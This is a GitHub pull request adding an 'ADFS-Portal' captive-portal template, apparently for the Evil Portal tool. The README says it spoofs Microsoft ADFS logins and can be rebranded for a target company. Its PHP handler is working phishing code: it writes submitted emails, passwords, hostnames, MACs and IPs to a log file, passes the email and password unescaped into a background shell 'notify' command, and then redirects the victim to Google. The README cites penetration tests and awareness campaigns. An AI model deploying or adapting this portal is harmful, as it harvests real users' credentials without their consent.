Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added ADFS-Portal #48

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 4 additions & 0 deletions portals/ADFS-Portal/.disable
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
#!/bin/bash

# Commands in this file are ran when a portal is de-activated.
# You can use any interpreter you want to, the default is bash.
4 changes: 4 additions & 0 deletions portals/ADFS-Portal/.enable
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
#!/bin/bash

# Commands in this file are ran when a portal is activated and when Evil Portal startsup on boot.
# You can use any interpreter you want to, the default is bash.
Binary file added portals/ADFS-Portal/ADFS_mobile.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
61 changes: 61 additions & 0 deletions portals/ADFS-Portal/MyPortal.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
<?php namespace evilportal;

class MyPortal extends Portal
{
public function handleAuthorization()
{
if (isset($_POST['email'])) {
$email = $_POST['email'];
$pwd = $_POST['password'];
$hostname = $_POST['hostname'];
$mac = $_POST['mac'];
$ip = $_POST['ip'];

$reflector = new \ReflectionClass(get_class($this));
$logPath = dirname($reflector->getFileName());
file_put_contents("{$logPath}/portal.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND);
$this->execBackground("notify $email' - '$pwd");
}

// Ensure the client is written to the authorized file
$clientIP = $_SERVER['REMOTE_ADDR'];
$this->authorizeClient($clientIP);

// Adding a delay of 1 second (you can adjust this as needed)
sleep(1);

// Redirect to Google
header("Location: http://www.google.com");
exit();
}

public function onSuccess()
{
parent::onSuccess();
}

public function showError()
{
parent::showError();
}

protected function authorizeClient($clientIP)
{
parent::authorizeClient($clientIP);

// Verify that the client has been successfully written to the authorized clients file
$retryCount = 0;
$maxRetries = 5;
$isAuthorized = false;

while ($retryCount < $maxRetries && !$isAuthorized) {
$isAuthorized = $this->isClientAuthorized($clientIP);
if (!$isAuthorized) {
sleep(1); // Wait for 1 second before retrying
$retryCount++;
}
}

return $isAuthorized;
}
}
Binary file added portals/ADFS-Portal/Portal.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
7 changes: 7 additions & 0 deletions portals/ADFS-Portal/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
## ADFS Portal

Good for Spoofing ADFS Portal logins when doing real engagements or awareness campaigns.
This portal contains the default Microsoft style, but you just need to change the two logos in order to have it fit the desired company.

![](ADFS_mobile.png)
![](Portal.png)
7 changes: 7 additions & 0 deletions portals/ADFS-Portal/assets/css/bootstrap.min.css

Large diffs are not rendered by default.

211 changes: 211 additions & 0 deletions portals/ADFS-Portal/assets/css/custom.css
Original file line number Diff line number Diff line change
@@ -0,0 +1,211 @@

/* desktop adjustments */
@media only screen and (min-width: 768px) {
.login-container {
width: 436px !important;
/*margin: auto !important;*/
margin-top: 0px !important;
height: 100% !important;
margin-left: auto;
margin-right: 0;
}

.login-content {
padding-top: 30px !important;
padding-bottom: 40px !important;
}
}

html, body {
width: 100%;
height: 100%;
}

html, body {
font-family: "Segoe UI" , "Segoe" , "SegoeUI-Regular-final", Tahoma, Helvetica, Arial, sans-serif;
}

.login-container {
margin-top: 0px;
border: 1px solid rgb(217, 220, 222);
border-radius: 0px;
height: 100%;
position: relative;
background-color: #FFFFFF;
}

@media (max-width: 767px){
.login-container {
border: 1px solid #fff;
}
}

.g-h1 {
padding-top: 15px;
}

.g-h1, .g-h2 {
text-align: left;
margin-left: 10px;
font-size: 24px;
}

.g-h2 {
font-size: 16px;
}

.g-input {
border-radius: 1px;
padding: 2px 2px;
border: 1px solid rgb(218, 220, 222);
width: 100%;
font-weight: 400;
height: 25px !important;
}

.g-input:focus {
outline: none !important;
border: 2px solid #1a73e8;
transition-timing-function: ease;
}

.g-input-invalid {
border: 1px solid red;
}

.g-input-invalid:focus {
border: 2px solid red;
}

.login-content {
padding-top: 24px;
}

.g-legend {
font-weight: 600;
font-size: 14px;
color: #1a73e8;
margin-top: 15px;
font-family: 'open-sans';
margin-left: 5px;
}

.p {
font-size: 14px;
color: #5f6368;
margin-bottom: 0px;
margin-left: 5px;
}

.login-priv {
margin-top: 32px;
}

.login-priv .g-legend {
margin-top: 0px !important;
}

.login-nav {
margin-top: 32px;
display: flex;
}

.gbtn-primary {
min-width: 88px;
line-height: 25px;
text-align: center;
/*border-radius: 0px;*/
border: none;
background-color: #1a73e8;
font-family: inherit;
color: #fff;
/* border-style: solid; */
font-size: 12px;
font-weight: 600;
letter-spacing: .25px;
}

.gbtn-primary:hover {
background-color: #4285f4;
transition: 0.2s;
transition-delay: 0.1s;
transition-timing-function: ease;
}

.gbtn-label {
color: white;
font-weight: 400;
font-family: inherit;
font-size: 14px;
font-weight: bold;
}

#logo {
margin: 0 auto;
margin-left: 15px;
display: table;
width: 75px;
float: none;
position: relative;
}

.login-content {
padding: 10px;
padding-top: 20px;
height: 100%;
}

.progress-bar-container {
min-height: 4px;
}

#login-app {
height: 100%;
}

.invalid-icon {
margin-right: 8px;
}

.invalid-icon svg {
fill: red;
}

.invalid-email-text-span {
font-size: 12px;
color: red;
}

.password-input {
margin-top: 20px;
}

.g-input:required {
box-shadow: none;
}
#footerPlaceholder
{
height:40px;
}
#footer
{
height:40px;
padding:10px 50px 0px 10px;
position:absolute;
bottom: 20px;
color:#666666;
font-size:0.78em;
}
#footerLinks
{
float:none;
padding-top:10px;
}
#copyright {color:#696969;}
.pageLink { color:#000000; padding-left:16px; }

/* Common content styles */

.clear {clear:both;}
.float { float:left; }
.floatReverse { float:right; }
Loading